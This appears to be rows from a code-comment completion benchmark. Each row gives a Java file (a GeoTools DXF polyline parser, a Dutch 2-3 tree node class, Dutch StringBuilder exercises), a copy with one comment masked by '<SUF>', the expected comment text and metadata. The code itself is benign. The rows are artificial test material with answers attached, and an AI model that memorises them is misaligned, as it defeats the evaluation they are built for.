/* * [ 1719398 ] First shot at LWPOLYLINE * Peter Hopfgartner - hopfgartner * */ package org.geotools.data.dxf.entities; import com.vividsolutions.jts.geom.Coordinate; import com.vividsolutions.jts.geom.Geometry; import com.vividsolutions.jts.geom.LinearRing; import org.geotools.data.dxf.parser.DXFLineNumberReader; import java.io.EOFException; import java.io.IOException; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Vector; import org.geotools.data.GeometryType; import org.geotools.data.dxf.parser.DXFUnivers; import org.geotools.data.dxf.header.DXFLayer; import org.geotools.data.dxf.header.DXFLineType; import org.geotools.data.dxf.header.DXFTables; import org.geotools.data.dxf.parser.DXFCodeValuePair; import org.geotools.data.dxf.parser.DXFGroupCode; import org.geotools.data.dxf.parser.DXFParseException; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; /** * * * @source $URL$ */ public class DXFLwPolyline extends DXFEntity { private static final Log log = LogFactory.getLog(DXFLwPolyline.class); public String _id = "DXFLwPolyline"; public int _flag = 0; public Vector<DXFLwVertex> theVertices = new Vector<DXFLwVertex>(); public DXFLwPolyline(String name, int flag, int c, DXFLayer l, Vector<DXFLwVertex> v, int visibility, DXFLineType lineType, double thickness) { super(c, l, visibility, lineType, thickness); _id = name; Vector<DXFLwVertex> newV = new Vector<DXFLwVertex>(); for (int i = 0; i < v.size(); i++) { DXFLwVertex entity = (DXFLwVertex) v.get(i).clone(); newV.add(entity); } theVertices = newV; _flag = flag; setName("DXFLwPolyline"); } public DXFLwPolyline(DXFLayer l) { super(-1, l, 0, null, DXFTables.defaultThickness); setName("DXFLwPolyline"); } public DXFLwPolyline() { super(-1, null, 0, null, DXFTables.defaultThickness); setName("DXFLwPolyline"); } public DXFLwPolyline(DXFLwPolyline orig) { super(orig.getColor(), orig.getRefLayer(), 0, orig.getLineType(), orig.getThickness()); _id = orig._id; for (int i = 0; i < orig.theVertices.size(); i++) { theVertices.add((DXFLwVertex) orig.theVertices.elementAt(i).clone()); } _flag = orig._flag; setType(orig.getType()); setStartingLineNumber(orig.getStartingLineNumber()); setUnivers(orig.getUnivers()); setName("DXFLwPolyline"); } public static DXFLwPolyline read(DXFLineNumberReader br, DXFUnivers univers) throws IOException { String name = ""; int visibility = 0, flag = 0, c = -1; DXFLineType lineType = null; Vector<DXFLwVertex> lv = new Vector<DXFLwVertex>(); DXFLayer l = null; int sln = br.getLineNumber(); log.debug(">>Enter at line: " + sln); DXFCodeValuePair cvp = null; DXFGroupCode gc = null; boolean doLoop = true; while (doLoop) { cvp = new DXFCodeValuePair(); try { gc = cvp.read(br); } catch (DXFParseException ex) { throw new IOException("DXF parse error" + ex.getLocalizedMessage()); } catch (EOFException e) { doLoop = false; break; } switch (gc) { case TYPE: String type = cvp.getStringValue(); // SEQEND ??? // geldt voor alle waarden van type br.reset(); doLoop = false; break; case X_1: //"10" br.reset(); readLwVertices(br, lv); break; case NAME: //"2" name = cvp.getStringValue(); break; case LAYER_NAME: //"8" l = univers.findLayer(cvp.getStringValue()); break; case LINETYPE_NAME: //"6" lineType = univers.findLType(cvp.getStringValue()); break; case COLOR: //"62" c = cvp.getShortValue(); break; case INT_1: //"70" flag = cvp.getShortValue(); break; case VISIBILITY: //"60" visibility = cvp.getShortValue(); break; default: break; } } DXFLwPolyline e = new DXFLwPolyline(name, flag, c, l, lv, visibility, lineType, DXFTables.defaultThickness); if ((flag & 1) == 1) { e.setType(GeometryType.POLYGON); } else { e.setType(GeometryType.LINE); } e.setStartingLineNumber(sln); e.setUnivers(univers); log.debug(e.toString(name, flag, lv.size(), c, visibility, DXFTables.defaultThickness)); log.debug(">>Exit at line: " + br.getLineNumber()); return e; } public static void readLwVertices(DXFLineNumberReader br, Vector<DXFLwVertex> theVertices) throws IOException { double x = 0, y = 0, b = 0; boolean xFound = false, yFound = false; int sln = br.getLineNumber(); log.debug(">>Enter at line: " + sln); DXFCodeValuePair cvp = null; DXFGroupCode gc = null; boolean doLoop = true; while (doLoop) { cvp = new DXFCodeValuePair(); try { gc = cvp.read(br); } catch (DXFParseException ex) { throw new IOException("DXF parse error" + ex.getLocalizedMessage()); } catch (EOFException e) { doLoop = false; break; } switch (gc) { case TYPE: case X_1: //"10" // check of<SUF> if (xFound && yFound) { DXFLwVertex e = new DXFLwVertex(x, y, b); log.debug(e.toString(b, x, y)); theVertices.add(e); xFound = false; yFound = false; x = 0; y = 0; b = 0; } // TODO klopt dit??? if (gc == DXFGroupCode.TYPE) { br.reset(); doLoop = false; break; } x = cvp.getDoubleValue(); xFound = true; break; case Y_1: //"20" y = cvp.getDoubleValue(); yFound = true; break; case DOUBLE_3: //"42" b = cvp.getDoubleValue(); break; default: break; } } log.debug(">Exit at line: " + br.getLineNumber()); } @Override public Geometry getGeometry() { if (geometry == null) { updateGeometry(); } return super.getGeometry(); } @Override public void updateGeometry() { Coordinate[] ca = toCoordinateArray(); if (ca != null && ca.length > 1) { if (getType() == GeometryType.POLYGON) { LinearRing lr = getUnivers().getGeometryFactory().createLinearRing(ca); geometry = getUnivers().getGeometryFactory().createPolygon(lr, null); } else { geometry = getUnivers().getGeometryFactory().createLineString(ca); } } else { addError("coordinate array faulty, size: " + (ca == null ? 0 : ca.length)); } } public Coordinate[] toCoordinateArray() { if (theVertices == null) { addError("coordinate array can not be created."); return null; } Iterator it = theVertices.iterator(); List<Coordinate> lc = new ArrayList<Coordinate>(); Coordinate firstc = null; Coordinate lastc = null; while (it.hasNext()) { DXFLwVertex v = (DXFLwVertex) it.next(); lastc = v.toCoordinate(); if (firstc == null) { firstc = lastc; } lc.add(lastc); } // If only 2 points found, make Line if (lc.size() == 2) { setType(GeometryType.LINE); } // Forced closing polygon if (getType() == GeometryType.POLYGON) { if (!firstc.equals2D(lastc)) { lc.add(firstc); } } /* TODO uitzoeken of lijn zichzelf snijdt, zo ja nodding * zie jts union: * Collection lineStrings = . . . * Geometry nodedLineStrings = (LineString) lineStrings.get(0); * for (int i = 1; i < lineStrings.size(); i++) { * nodedLineStrings = nodedLineStrings.union((LineString)lineStrings.get(i)); * */ return rotateAndPlace(lc.toArray(new Coordinate[]{})); } public String toString(String name, int flag, int numVert, int c, int visibility, double thickness) { StringBuffer s = new StringBuffer(); s.append("DXFPolyline ["); s.append("name: "); s.append(name + ", "); s.append("flag: "); s.append(flag + ", "); s.append("numVert: "); s.append(numVert + ", "); s.append("color: "); s.append(c + ", "); s.append("visibility: "); s.append(visibility + ", "); s.append("thickness: "); s.append(thickness); s.append("]"); return s.toString(); } @Override public String toString() { return toString(getName(), _flag, theVertices.size(), getColor(), (isVisible() ? 0 : 1), getThickness()); } @Override public DXFEntity translate(double x, double y) { // Move all vertices Iterator iter = theVertices.iterator(); while (iter.hasNext()) { DXFLwVertex vertex = (DXFLwVertex) iter.next(); vertex._point.x += x; vertex._point.y += y; } return this; } @Override public DXFEntity clone() { return new DXFLwPolyline(this); } }
True
2,408
11
2,640
12
2,841
11
2,640
12
3,235
11
false
false
false
false
false
true
3,446
33262_0
package oplossing; public class Node233<E extends Comparable<E>> extends Node<E>{ private Node233<E> leftChild; private Node233<E> middleChild; private Node233<E> rightChild; public Node233(E leftValue, E rightValue) { super(leftValue, rightValue); } /** * Kleine functie om wat properheid te bewaren in de code. * Op basis van een Element o, kijk in welke richten er gegaan moet worden * om dichter bij dit element te komen * @param o het element waarmee vergeleken wordt * @return een van de kinderen van deze node */ public Node233<E> getChild(E o) { if (hasLeftValue() && leftValue.compareTo(o) > 0) { return getLeftChild(); } if (hasRightValue() && rightValue.compareTo(o) < 0) { return getRightChild(); } return getMiddleChild(); } /** * Gegeven een nieuw kind, adopteer hem op de juiste plaats. * @param newNode het kind dat geadopteerd zal worden. */ public void setChild(Node233<E> newNode){ E o = newNode.leftValue; if (hasLeftValue() && leftValue.compareTo(o) > 0) { setLeftChild(newNode); } else if (hasRightValue() && rightValue.compareTo(o) < 0) { setRightChild(newNode); } else { setMiddleChild(newNode); } } /** * Het rechter kind van de parent (deze node dus) in de parent brengen * Kan enkel wanneer deze node en de parent maar één sleutel hebben */ private void percolateUpFromRight(Node233<E> parent){ parent.rightValue = leftValue; parent.setMiddleChild(getLeftChild()); parent.setRightChild(getMiddleChild()); } /** * Zelfde percolateUpFromRight maar dan vanaf links */ private void percolateUpFromLeft(Node233<E> parent) { parent.rightValue = leftValue; parent.swapValues(); parent.setLeftChild(getLeftChild()); parent.setRightChild(parent.getMiddleChild()); parent.setMiddleChild(getMiddleChild()); } public void percolateUp(Node233<E> parent, E o) { if (!parent.hasLeftValue() || parent.leftValue.compareTo(o) > 0) { percolateUpFromLeft(parent); } else { percolateUpFromRight(parent); } } /** * maakt van een deelboom met twee toppen en drie sleutels een binaire boom: * * [ B ] * / \ * [ A ] [ C ] * * @param o linkerwaarde in de laagste node */ public void convertToBinary(E o){ if (rightValue.compareTo(o) < 0) { convertToBinaryFromRight(); } else if (leftValue.compareTo(o) > 0){ convertToBinaryFromLeft(); } else { convertToBinaryFromMiddle(); } } /** * startpositie * * [ A B ] * \ * [ C ] */ private void convertToBinaryFromRight() { Node233<E> linkerNode = new Node233<>(leftValue, null); linkerNode.setLeftChild(getLeftChild()); linkerNode.setMiddleChild(getMiddleChild()); leftValue = rightValue; setLeftChild(linkerNode); setMiddleChild(getRightChild()); rightValue = null; setRightChild(null); } /** * startpositie * * [ B C ] * / * [ A ] */ private void convertToBinaryFromLeft() { Node233<E> rechterNode = new Node233<>(rightValue, null); rechterNode.setLeftChild(getMiddleChild()); rechterNode.setMiddleChild(getRightChild()); setMiddleChild(rechterNode); rightValue = null; setRightChild(null); } /** * startpositie * * [ A C ] * | * [ B ] */ private void convertToBinaryFromMiddle() { Node233<E> linkerNode = new Node233<>(leftValue, null); Node233<E> rechterNode = new Node233<>(rightValue, null); linkerNode.setLeftChild(getLeftChild()); linkerNode.setMiddleChild(getMiddleChild().getLeftChild()); rechterNode.setMiddleChild(getRightChild()); rechterNode.setLeftChild(getMiddleChild().getMiddleChild()); leftValue = getMiddleChild().leftValue; setLeftChild(linkerNode); setMiddleChild(rechterNode); rightValue = null; setRightChild(null); } /** * De verwijderNode zit in het midden en gebruikt gebruikt zijn midden-sibling om zichzelf op te vullen */ private void redistributeFromLeft(Node233<E> verwijderNode){ verwijderNode.leftValue = leftValue; leftValue = getMiddleChild().leftValue; getMiddleChild().leftValue = getMiddleChild().rightValue; getMiddleChild().rightValue = null; verwijderNode.setLeftChild(verwijderNode.getMiddleChild()); verwijderNode.setMiddleChild(getMiddleChild().getLeftChild()); getMiddleChild().setLeftChild(getMiddleChild().getMiddleChild()); getMiddleChild().setMiddleChild(getMiddleChild().getRightChild()); getMiddleChild().setRightChild(null); } /** * De verwijderNode zit in het midden en gebruikt zijn linker-sibling met twee sleutels */ private void redistributeFromMiddle1(Node233<E> verwijderNode) { verwijderNode.leftValue = leftValue; leftValue = getLeftChild().rightValue; getLeftChild().rightValue = null; getMiddleChild().setLeftChild(getLeftChild().getRightChild()); getLeftChild().setRightChild(null); } /** * De verwijderNode zit in het midden en gebruikt zijn rechter-sibling met twee sleutels */ private void redistributeFromMiddle2(Node233<E> verwijderNode) { verwijderNode.leftValue = rightValue; rightValue = getRightChild().leftValue; getRightChild().leftValue = getRightChild().rightValue; getRightChild().rightValue = null; verwijderNode.setLeftChild(verwijderNode.getMiddleChild()); verwijderNode.setMiddleChild(getRightChild().getLeftChild()); getRightChild().setLeftChild(getRightChild().getMiddleChild()); getRightChild().setMiddleChild(getRightChild().getRightChild()); getRightChild().setRightChild(null); } /** * De verwijderNode zit rechts en zijn midden-sibling heeft twee nodes */ private void redistributeFromRight(Node233<E> verwijderNode) { verwijderNode.leftValue = rightValue; rightValue = getMiddleChild().rightValue; getMiddleChild().rightValue = null; getRightChild().setLeftChild(getMiddleChild().getRightChild()); getMiddleChild().setRightChild(null); } /** * Gebruik Een node met twee sleutels naast de verwijderNode * @param verwijderNode de lege node die heropgevuld moet worden. * @return false als er geen herdistributie is gebeurt */ public boolean redistribute(Node233<E> verwijderNode) { if (verwijderNode == getLeftChild() && getMiddleChild().numberOfKeys() == 2){ redistributeFromLeft(verwijderNode); return true; } else if (verwijderNode == getMiddleChild() && getLeftChild().numberOfKeys() == 2) { redistributeFromMiddle1(verwijderNode); return true; } else if (verwijderNode == getMiddleChild() && getRightChild() != null && getRightChild().numberOfKeys() == 2) { redistributeFromMiddle2(verwijderNode); return true; } else if (verwijderNode == getRightChild() && getMiddleChild().numberOfKeys() == 2) { redistributeFromRight(verwijderNode); return true; } return false; } private void mergeIntoLeftChild() { getLeftChild().leftValue = leftValue; getLeftChild().rightValue = getMiddleChild().leftValue; leftValue = null; swapValues(); getLeftChild().setLeftChild(getLeftChild().getMiddleChild()); getLeftChild().setMiddleChild(getMiddleChild().getLeftChild()); getLeftChild().setRightChild(getMiddleChild().getMiddleChild()); setMiddleChild(getRightChild()); setRightChild(null); } private void mergeIntoMiddleChild() { getLeftChild().rightValue = leftValue; leftValue = rightValue; rightValue = null; getLeftChild().setRightChild(getMiddleChild().getMiddleChild()); setMiddleChild(getRightChild()); setRightChild(null); } private void mergeIntoRightChild() { getMiddleChild().rightValue = rightValue; rightValue = null; getMiddleChild().setRightChild(getRightChild().getMiddleChild()); setRightChild(null); } /** * Wanneer deze node twee sleutels heeft, kan een van de kinderen de lege node invullen met een van zijn sleutels, * Een gat dat daar zou kunnen ontstaan wordt op zijn beurt opgevuld door een van de sleutels uit deze node. * @param verwijderNode De lege node waarin gemerged moet worden */ public void mergeIntoChild(Node233<E> verwijderNode) { if (getLeftChild() == verwijderNode){ mergeIntoLeftChild(); } else if (getMiddleChild() == verwijderNode){ mergeIntoMiddleChild(); } else if (getRightChild() == verwijderNode) { mergeIntoRightChild(); } } /** * startpositie * [ B ] * / * [ A ] * */ private void geval2NodesLeft(Node233<E> verwijderNode) { verwijderNode.leftValue = leftValue; leftValue = null; verwijderNode.rightValue = getMiddleChild().leftValue; verwijderNode.setLeftChild(verwijderNode.getMiddleChild()); verwijderNode.setMiddleChild(getMiddleChild().getLeftChild()); verwijderNode.setRightChild(getMiddleChild().getMiddleChild()); setMiddleChild(getLeftChild()); setLeftChild(null); // TODO het kind van de (null, null) node niet middle child laten zijn maar leftchild } /** * startpositie * [ A ] * \ * [ B ] */ private void geval2NodesMiddle(Node233<E> verwijderNode) { verwijderNode.rightValue = leftValue; verwijderNode.setRightChild(getMiddleChild().getMiddleChild()); leftValue = null; getMiddleChild().leftValue = getLeftChild().leftValue; getMiddleChild().setMiddleChild(getLeftChild().getMiddleChild()); getMiddleChild().setLeftChild(getLeftChild().getLeftChild()); setLeftChild(null); } /** * Leeg * | * [ A B ] * */ public void geval2nodes(Node233<E> verwijderNode){ if (verwijderNode == getLeftChild()) { geval2NodesLeft(verwijderNode); } else { geval2NodesMiddle(verwijderNode); } } public boolean isLeaf(){ return this.getLeftChild() == null; } public Node233<E> getLeftChild() { return leftChild; } public void setLeftChild(Node233<E> leftChild) { this.leftChild = leftChild; } public Node233<E> getMiddleChild() { return middleChild; } public void setMiddleChild(Node233<E> middleChild) { this.middleChild = middleChild; } public Node233<E> getRightChild() { return rightChild; } public void setRightChild(Node233<E> rightChild) { this.rightChild = rightChild; } }
lbarraga/TwoThreeTree
src/oplossing/Node233.java
3,423
/** * Kleine functie om wat properheid te bewaren in de code. * Op basis van een Element o, kijk in welke richten er gegaan moet worden * om dichter bij dit element te komen * @param o het element waarmee vergeleken wordt * @return een van de kinderen van deze node */
block_comment
nl
package oplossing; public class Node233<E extends Comparable<E>> extends Node<E>{ private Node233<E> leftChild; private Node233<E> middleChild; private Node233<E> rightChild; public Node233(E leftValue, E rightValue) { super(leftValue, rightValue); } /** * Kleine functie om<SUF>*/ public Node233<E> getChild(E o) { if (hasLeftValue() && leftValue.compareTo(o) > 0) { return getLeftChild(); } if (hasRightValue() && rightValue.compareTo(o) < 0) { return getRightChild(); } return getMiddleChild(); } /** * Gegeven een nieuw kind, adopteer hem op de juiste plaats. * @param newNode het kind dat geadopteerd zal worden. */ public void setChild(Node233<E> newNode){ E o = newNode.leftValue; if (hasLeftValue() && leftValue.compareTo(o) > 0) { setLeftChild(newNode); } else if (hasRightValue() && rightValue.compareTo(o) < 0) { setRightChild(newNode); } else { setMiddleChild(newNode); } } /** * Het rechter kind van de parent (deze node dus) in de parent brengen * Kan enkel wanneer deze node en de parent maar één sleutel hebben */ private void percolateUpFromRight(Node233<E> parent){ parent.rightValue = leftValue; parent.setMiddleChild(getLeftChild()); parent.setRightChild(getMiddleChild()); } /** * Zelfde percolateUpFromRight maar dan vanaf links */ private void percolateUpFromLeft(Node233<E> parent) { parent.rightValue = leftValue; parent.swapValues(); parent.setLeftChild(getLeftChild()); parent.setRightChild(parent.getMiddleChild()); parent.setMiddleChild(getMiddleChild()); } public void percolateUp(Node233<E> parent, E o) { if (!parent.hasLeftValue() || parent.leftValue.compareTo(o) > 0) { percolateUpFromLeft(parent); } else { percolateUpFromRight(parent); } } /** * maakt van een deelboom met twee toppen en drie sleutels een binaire boom: * * [ B ] * / \ * [ A ] [ C ] * * @param o linkerwaarde in de laagste node */ public void convertToBinary(E o){ if (rightValue.compareTo(o) < 0) { convertToBinaryFromRight(); } else if (leftValue.compareTo(o) > 0){ convertToBinaryFromLeft(); } else { convertToBinaryFromMiddle(); } } /** * startpositie * * [ A B ] * \ * [ C ] */ private void convertToBinaryFromRight() { Node233<E> linkerNode = new Node233<>(leftValue, null); linkerNode.setLeftChild(getLeftChild()); linkerNode.setMiddleChild(getMiddleChild()); leftValue = rightValue; setLeftChild(linkerNode); setMiddleChild(getRightChild()); rightValue = null; setRightChild(null); } /** * startpositie * * [ B C ] * / * [ A ] */ private void convertToBinaryFromLeft() { Node233<E> rechterNode = new Node233<>(rightValue, null); rechterNode.setLeftChild(getMiddleChild()); rechterNode.setMiddleChild(getRightChild()); setMiddleChild(rechterNode); rightValue = null; setRightChild(null); } /** * startpositie * * [ A C ] * | * [ B ] */ private void convertToBinaryFromMiddle() { Node233<E> linkerNode = new Node233<>(leftValue, null); Node233<E> rechterNode = new Node233<>(rightValue, null); linkerNode.setLeftChild(getLeftChild()); linkerNode.setMiddleChild(getMiddleChild().getLeftChild()); rechterNode.setMiddleChild(getRightChild()); rechterNode.setLeftChild(getMiddleChild().getMiddleChild()); leftValue = getMiddleChild().leftValue; setLeftChild(linkerNode); setMiddleChild(rechterNode); rightValue = null; setRightChild(null); } /** * De verwijderNode zit in het midden en gebruikt gebruikt zijn midden-sibling om zichzelf op te vullen */ private void redistributeFromLeft(Node233<E> verwijderNode){ verwijderNode.leftValue = leftValue; leftValue = getMiddleChild().leftValue; getMiddleChild().leftValue = getMiddleChild().rightValue; getMiddleChild().rightValue = null; verwijderNode.setLeftChild(verwijderNode.getMiddleChild()); verwijderNode.setMiddleChild(getMiddleChild().getLeftChild()); getMiddleChild().setLeftChild(getMiddleChild().getMiddleChild()); getMiddleChild().setMiddleChild(getMiddleChild().getRightChild()); getMiddleChild().setRightChild(null); } /** * De verwijderNode zit in het midden en gebruikt zijn linker-sibling met twee sleutels */ private void redistributeFromMiddle1(Node233<E> verwijderNode) { verwijderNode.leftValue = leftValue; leftValue = getLeftChild().rightValue; getLeftChild().rightValue = null; getMiddleChild().setLeftChild(getLeftChild().getRightChild()); getLeftChild().setRightChild(null); } /** * De verwijderNode zit in het midden en gebruikt zijn rechter-sibling met twee sleutels */ private void redistributeFromMiddle2(Node233<E> verwijderNode) { verwijderNode.leftValue = rightValue; rightValue = getRightChild().leftValue; getRightChild().leftValue = getRightChild().rightValue; getRightChild().rightValue = null; verwijderNode.setLeftChild(verwijderNode.getMiddleChild()); verwijderNode.setMiddleChild(getRightChild().getLeftChild()); getRightChild().setLeftChild(getRightChild().getMiddleChild()); getRightChild().setMiddleChild(getRightChild().getRightChild()); getRightChild().setRightChild(null); } /** * De verwijderNode zit rechts en zijn midden-sibling heeft twee nodes */ private void redistributeFromRight(Node233<E> verwijderNode) { verwijderNode.leftValue = rightValue; rightValue = getMiddleChild().rightValue; getMiddleChild().rightValue = null; getRightChild().setLeftChild(getMiddleChild().getRightChild()); getMiddleChild().setRightChild(null); } /** * Gebruik Een node met twee sleutels naast de verwijderNode * @param verwijderNode de lege node die heropgevuld moet worden. * @return false als er geen herdistributie is gebeurt */ public boolean redistribute(Node233<E> verwijderNode) { if (verwijderNode == getLeftChild() && getMiddleChild().numberOfKeys() == 2){ redistributeFromLeft(verwijderNode); return true; } else if (verwijderNode == getMiddleChild() && getLeftChild().numberOfKeys() == 2) { redistributeFromMiddle1(verwijderNode); return true; } else if (verwijderNode == getMiddleChild() && getRightChild() != null && getRightChild().numberOfKeys() == 2) { redistributeFromMiddle2(verwijderNode); return true; } else if (verwijderNode == getRightChild() && getMiddleChild().numberOfKeys() == 2) { redistributeFromRight(verwijderNode); return true; } return false; } private void mergeIntoLeftChild() { getLeftChild().leftValue = leftValue; getLeftChild().rightValue = getMiddleChild().leftValue; leftValue = null; swapValues(); getLeftChild().setLeftChild(getLeftChild().getMiddleChild()); getLeftChild().setMiddleChild(getMiddleChild().getLeftChild()); getLeftChild().setRightChild(getMiddleChild().getMiddleChild()); setMiddleChild(getRightChild()); setRightChild(null); } private void mergeIntoMiddleChild() { getLeftChild().rightValue = leftValue; leftValue = rightValue; rightValue = null; getLeftChild().setRightChild(getMiddleChild().getMiddleChild()); setMiddleChild(getRightChild()); setRightChild(null); } private void mergeIntoRightChild() { getMiddleChild().rightValue = rightValue; rightValue = null; getMiddleChild().setRightChild(getRightChild().getMiddleChild()); setRightChild(null); } /** * Wanneer deze node twee sleutels heeft, kan een van de kinderen de lege node invullen met een van zijn sleutels, * Een gat dat daar zou kunnen ontstaan wordt op zijn beurt opgevuld door een van de sleutels uit deze node. * @param verwijderNode De lege node waarin gemerged moet worden */ public void mergeIntoChild(Node233<E> verwijderNode) { if (getLeftChild() == verwijderNode){ mergeIntoLeftChild(); } else if (getMiddleChild() == verwijderNode){ mergeIntoMiddleChild(); } else if (getRightChild() == verwijderNode) { mergeIntoRightChild(); } } /** * startpositie * [ B ] * / * [ A ] * */ private void geval2NodesLeft(Node233<E> verwijderNode) { verwijderNode.leftValue = leftValue; leftValue = null; verwijderNode.rightValue = getMiddleChild().leftValue; verwijderNode.setLeftChild(verwijderNode.getMiddleChild()); verwijderNode.setMiddleChild(getMiddleChild().getLeftChild()); verwijderNode.setRightChild(getMiddleChild().getMiddleChild()); setMiddleChild(getLeftChild()); setLeftChild(null); // TODO het kind van de (null, null) node niet middle child laten zijn maar leftchild } /** * startpositie * [ A ] * \ * [ B ] */ private void geval2NodesMiddle(Node233<E> verwijderNode) { verwijderNode.rightValue = leftValue; verwijderNode.setRightChild(getMiddleChild().getMiddleChild()); leftValue = null; getMiddleChild().leftValue = getLeftChild().leftValue; getMiddleChild().setMiddleChild(getLeftChild().getMiddleChild()); getMiddleChild().setLeftChild(getLeftChild().getLeftChild()); setLeftChild(null); } /** * Leeg * | * [ A B ] * */ public void geval2nodes(Node233<E> verwijderNode){ if (verwijderNode == getLeftChild()) { geval2NodesLeft(verwijderNode); } else { geval2NodesMiddle(verwijderNode); } } public boolean isLeaf(){ return this.getLeftChild() == null; } public Node233<E> getLeftChild() { return leftChild; } public void setLeftChild(Node233<E> leftChild) { this.leftChild = leftChild; } public Node233<E> getMiddleChild() { return middleChild; } public void setMiddleChild(Node233<E> middleChild) { this.middleChild = middleChild; } public Node233<E> getRightChild() { return rightChild; } public void setRightChild(Node233<E> rightChild) { this.rightChild = rightChild; } }
True
2,876
83
3,084
86
3,144
74
3,084
86
3,444
87
false
false
false
false
false
true
577
28782_8
package be.intecbrussel; import java.util.Random; public class MainApp { public static void main(String[] args) { System.out.println("Github"); System.out.println("---- Oefening 1 ----"); // Maak een applicatie die kan controleren of een bepaald woord een palindroom is. String word = "meetsysteem"; String wordReverse = ""; StringBuilder str = new StringBuilder(word); wordReverse = str.reverse().toString(); if (word.equals(wordReverse)) { System.out.println(word + " = " + wordReverse + "."); System.out.println(word + " is wel een palindroom!"); } else { System.out.println(word + " != " + wordReverse + "."); System.out.println(word + " is geen palindroom!"); } System.out.println("---- Oefening 2 ----"); // Maak een applicatie die volgende tekst The Quick BroWn FoX! // Omzet naar enkel kleine letters. String text = "The Quick BroWn FoX!"; StringBuilder lowercase = new StringBuilder(text.toLowerCase()); System.out.println(lowercase); System.out.println("---- StringBuilder - oefenreeks 1 ----"); System.out.println("---- Oefening - 1 ----"); // 1. Maak een stringBuilder aan en voeg een string toe. Print de stringBuilder naar de console. StringBuilder str1 = new StringBuilder("Hello World!"); System.out.println(str1); System.out.println("---- Oefening - 2 ----"); // 2. Gebruik de .length() eigenschap om de lengte van een string of stringBuilder te bepalen. StringBuilder str2 = new StringBuilder("Hello World"); System.out.println(str2.length()); System.out.println("---- Oefening - 3 ----"); // 3. Gebruik de .substring() methode om een deel van een string of stringBuilder // te selecteren en print dit naar de console. StringBuilder str3 = new StringBuilder("Hello World"); System.out.println(str3.substring(6, 11)); System.out.println("---- Oefening - 4 ----"); // 4. Gebruik de .delete() methode om een deel van een stringBuilder te verwijderen. StringBuilder str4 = new StringBuilder("Hello World Wold"); System.out.println(str4.delete(12,17)); System.out.println("---- Oefening - 5 ----"); // 5. Gebruik de .insert() methode om een string toe te voegen aan een specifieke index in een stringBuilder. StringBuilder str5 = new StringBuilder("Let's"); str5.insert(5, " go"); System.out.println(str5); System.out.println("---- Oefening - 6 ----"); // 6. Gebruik de .replace() methode om een specifieke string te vervangen door een andere string in een stringBuilder. StringBuilder strReplace = new StringBuilder("Hello world!"); strReplace.replace(0,12, "Hallo wereld!"); System.out.println(strReplace); System.out.println("---- Oefening - 7 ----"); // 7. Gebruik de .toString() methode om de inhoud van een stringBuilder om te zetten naar een string. StringBuilder str6 = new StringBuilder("Hello, my name is Gabriel."); String str7 = str6.toString(); System.out.println(str7); System.out.println("---- Oefening - 7 ----"); // 8. Gebruik de .append() methode om een string toe te voegen aan een stringBuilder. StringBuilder str8 = new StringBuilder("Hi,"); String endOfSentence = " my name is Jos"; str8.append(endOfSentence); System.out.println(str8); } }
Gabe-Alvess/StringbuilderOefeningen
src/be/intecbrussel/MainApp.java
1,037
// 5. Gebruik de .insert() methode om een string toe te voegen aan een specifieke index in een stringBuilder.
line_comment
nl
package be.intecbrussel; import java.util.Random; public class MainApp { public static void main(String[] args) { System.out.println("Github"); System.out.println("---- Oefening 1 ----"); // Maak een applicatie die kan controleren of een bepaald woord een palindroom is. String word = "meetsysteem"; String wordReverse = ""; StringBuilder str = new StringBuilder(word); wordReverse = str.reverse().toString(); if (word.equals(wordReverse)) { System.out.println(word + " = " + wordReverse + "."); System.out.println(word + " is wel een palindroom!"); } else { System.out.println(word + " != " + wordReverse + "."); System.out.println(word + " is geen palindroom!"); } System.out.println("---- Oefening 2 ----"); // Maak een applicatie die volgende tekst The Quick BroWn FoX! // Omzet naar enkel kleine letters. String text = "The Quick BroWn FoX!"; StringBuilder lowercase = new StringBuilder(text.toLowerCase()); System.out.println(lowercase); System.out.println("---- StringBuilder - oefenreeks 1 ----"); System.out.println("---- Oefening - 1 ----"); // 1. Maak een stringBuilder aan en voeg een string toe. Print de stringBuilder naar de console. StringBuilder str1 = new StringBuilder("Hello World!"); System.out.println(str1); System.out.println("---- Oefening - 2 ----"); // 2. Gebruik de .length() eigenschap om de lengte van een string of stringBuilder te bepalen. StringBuilder str2 = new StringBuilder("Hello World"); System.out.println(str2.length()); System.out.println("---- Oefening - 3 ----"); // 3. Gebruik de .substring() methode om een deel van een string of stringBuilder // te selecteren en print dit naar de console. StringBuilder str3 = new StringBuilder("Hello World"); System.out.println(str3.substring(6, 11)); System.out.println("---- Oefening - 4 ----"); // 4. Gebruik de .delete() methode om een deel van een stringBuilder te verwijderen. StringBuilder str4 = new StringBuilder("Hello World Wold"); System.out.println(str4.delete(12,17)); System.out.println("---- Oefening - 5 ----"); // 5. Gebruik<SUF> StringBuilder str5 = new StringBuilder("Let's"); str5.insert(5, " go"); System.out.println(str5); System.out.println("---- Oefening - 6 ----"); // 6. Gebruik de .replace() methode om een specifieke string te vervangen door een andere string in een stringBuilder. StringBuilder strReplace = new StringBuilder("Hello world!"); strReplace.replace(0,12, "Hallo wereld!"); System.out.println(strReplace); System.out.println("---- Oefening - 7 ----"); // 7. Gebruik de .toString() methode om de inhoud van een stringBuilder om te zetten naar een string. StringBuilder str6 = new StringBuilder("Hello, my name is Gabriel."); String str7 = str6.toString(); System.out.println(str7); System.out.println("---- Oefening - 7 ----"); // 8. Gebruik de .append() methode om een string toe te voegen aan een stringBuilder. StringBuilder str8 = new StringBuilder("Hi,"); String endOfSentence = " my name is Jos"; str8.append(endOfSentence); System.out.println(str8); } }
True
828
30
929
31
926
25
929
31
1,025
32
false
false
false
false
false
true
2,240
83847_1
